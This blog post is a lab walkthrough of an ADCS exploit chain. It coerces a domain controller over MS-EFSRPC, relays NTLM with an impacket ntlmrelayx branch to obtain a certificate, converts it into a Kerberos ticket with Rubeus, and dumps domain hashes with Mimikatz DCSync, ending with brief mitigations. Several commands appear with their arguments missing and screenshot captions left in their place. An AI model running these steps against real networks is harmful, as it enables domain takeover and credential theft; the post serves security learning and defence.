Whilst I was on ‘holiday’ (seriously even when on holiday I almost always must do some work!) a few Windows vulnerabilities were published. Great work by Gilles Lionel, Benjamin Delpy and many many others!

Lab Setup

  • A Domain Controller
  • A Separate ADCS Install with Web Enrolment or two DCs one with ADCS installed.
  • A windows Client Device (non-domain joined)
  • An attacker device (I used Kali)

You do not need any domain credentials to conduct this exploit chain, so from a network adjacent unauthenticated position you can get DA with the right circumstances (default configuration).



Setup Attacker VM (kali)

sudo apt install python3-pip -y

Clone the ADCS impacket branch:

git clone –branch ntlmrelayx-adcs-attack


Description automatically generated

python3 -t -smb2support –adcs

git clone

cd impacket


Description automatically generated

git switch ntlmrelayx-adcs-attack

python3 -m pip install .

Run the NTLMrelayX

python3 -t -smb2support –adcs

A picture containing text, monitor, electronics, screenshot

Description automatically generated

You can also specify the template to request (e.g. for domain controller certs):

python3 -debug -t -smb2support –adcs –template DomainController

Causing a machine connection to occur


Description automatically generated

This exploit connects to the domain controller using the MS-EFSRPC method which send a command to the server to connect to the SMB relay we have configured.

Converting the Base64 Certificate into a Kerberos Ticket

You will need Rubeus and Mimikatz for the next part.

From a domain joined machine with userland access run:

./Rubeus.exe asktgt /user:YAVIN$ /certificate:[BASE64STRING] /ptt

This will request a Kerberos Ticket Granting Token (TGT) using the Domain Controller Machine account using the certificate to authenticate (this gives you the access of the krbtgt context in the directory (god mode))

Dumping Hashes Using the ‘stolen’ Kerberos token and Mimikatz

lsadump::dcsync /user:administrator

lsadump::dcsync /all


Description automatically generated


Description automatically generated with medium confidence

So, there we have it, from zero to hero (?) from an often deployed and rarely reviewed service.


Ok so the easy answer is to disable NTLM… yeah right ok so most orgs probably can’t easily do that. There’s more that can be done, you can reconfigure the IIS certsrv to use HTTPS and enable strong protections. You can restrict access to the HTTP interface for cetificate services. There’s also the possibilities to look for detections. This post isn’t focused on defences but it’s important to consider from both an offensive and defensive perspective. This can also be combined with other vectors, I believe there are many other chains either out there or waiting to be exploited.

Leave a Reply

Your email address will not be published. Required fields are marked *